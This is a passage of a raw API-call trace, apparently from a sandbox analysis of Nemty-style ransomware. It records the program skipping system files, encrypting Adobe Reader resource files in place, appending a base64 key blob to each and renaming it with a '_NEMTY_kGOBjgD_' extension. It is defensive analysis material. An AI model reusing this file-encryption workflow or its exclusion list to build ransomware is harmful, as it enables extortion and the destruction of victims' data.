returned 1 [0216.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.174] Sleep (dwMilliseconds=0x5) [0216.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x347e1210, dwHighDateTime=0x1d561e8)) [0216.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x347e1210, dwHighDateTime=0x1d561e8)) [0216.183] GetLastError () returned 0x0 [0216.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.183] GetLastError () returned 0x0 [0216.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.183] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.183] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.183] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.183] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="Jpkk2PGScAwO6piGObBQI6Ynbm3eBgavvkfwXREk/pLEQU7omeN2ZwHlZXCh4WOd\r\nplASV0notuBbLBYVbNq6uWzXF4Soh5BhxcEZIKDMhlpo/3EjeZW4/VU5vXcsMBFW\r\nlW3xjl1Fs6NQn1hgbKBCsqC4X8zwiPtwiOfc+xN2INvSUiy92g2uiKAVprNmPH6z\r\ncoy1cNLi5MnKxQN8Nao3G63SnoAjilDYjaggiFEFuX0U7RmG6xN2cd0eGOZVbaEk\r\n103iHWnXunDzWetz+GKG2MjUCqAIeCp0wHhyBZ1FBfgV3JHroTNUDHm5KnCmO42R\r\nRpw/MhrljCDuJoKCa1xeAA==\r\n", pcchString=0x653e5dc) returned 1 [0216.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.184] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.184] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28246) returned 1 [0216.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e50) returned 0x6352c48 [0216.184] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.184] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e50, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e50, lpOverlapped=0x0) returned 1 [0216.191] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.191] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e50, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e50, lpOverlapped=0x0) returned 1 [0216.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.191] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e56 [0216.191] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.191] CloseHandle (hObject=0x2e8) returned 1 [0216.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.192] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt._nemty_kgobjgd_")) returned 1 [0216.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.193] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e56, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.pl_PL.txt", cAlternateFileName="DI4ABE~1.TXT")) returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2=".") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="..") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="...") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="windows") returned -1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="rsa") returned -1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="NTDETECT.COM") returned -1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="ntldr") returned -1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="MSDOS.SYS") returned -1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="IO.SYS") returned -1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="boot.ini") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="boot.ini") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="ntuser.dat") returned -1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="desktop.ini") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="CONFIG.SYS") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="RECYCLER") returned -1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="bootmgr") returned 1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="programdata") returned -1 [0216.193] lstrcmpiW (lpString1="DisplayLanguageNames.pl_PL.txt", lpString2="appdata") returned 1 [0216.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl_PL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl_PL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pl_PL.txt", lpUsedDefaultChar=0x0) returned 30 [0216.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl_PL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl_PL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pl_PL.txt", lpUsedDefaultChar=0x0) returned 30 [0216.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl_PL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl_PL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pl_PL.txt", lpUsedDefaultChar=0x0) returned 30 [0216.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl_PL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl_PL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pl_PL.txt", lpUsedDefaultChar=0x0) returned 30 [0216.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.194] Sleep (dwMilliseconds=0x5) [0216.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34807370, dwHighDateTime=0x1d561e8)) [0216.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34807370, dwHighDateTime=0x1d561e8)) [0216.198] GetLastError () returned 0x0 [0216.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.198] GetLastError () returned 0x0 [0216.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.198] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.198] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.199] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.199] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="Q19WUrNkfvBhmzDYybnnrC4ALl1JJLk19RvxQeOf9j+W0j+f3E/6C3MgBiSht48b\r\nkzPKDB4e6WAKCp+uZvU/FVPWu1c/kZgzt3qAG2SZKXQl6zj58cmOjDpFK+CShcMa\r\ny6a+g/JSWlHszL+4XfZZU9U8Y3WoTPWKqSQg56xzIRY0cm5e2DS/7tOnhM2wubYC\r\ngGzCfLnisMTBlHSPVzTmwcIGLOA2FCHp003/9C3jySlUXr6+Ve2RV/7rDpp6qHjC\r\nzgokytst/eFdIpK5XGixd5nwScqLjkxwLC204FESmhHY4dMTswuG6n1+fZZ0w+Tt\r\n2c2Al0cJMv8MD+/jVysKQA==\r\n", pcchString=0x653e5dc) returned 1 [0216.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.199] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28246) returned 1 [0216.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e50) returned 0x6352c48 [0216.199] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.199] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e50, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e50, lpOverlapped=0x0) returned 1 [0216.202] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.202] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e50, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e50, lpOverlapped=0x0) returned 1 [0216.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.203] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e56 [0216.203] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.203] CloseHandle (hObject=0x2e8) returned 1 [0216.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.203] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt._nemty_kgobjgd_")) returned 1 [0216.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.204] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, 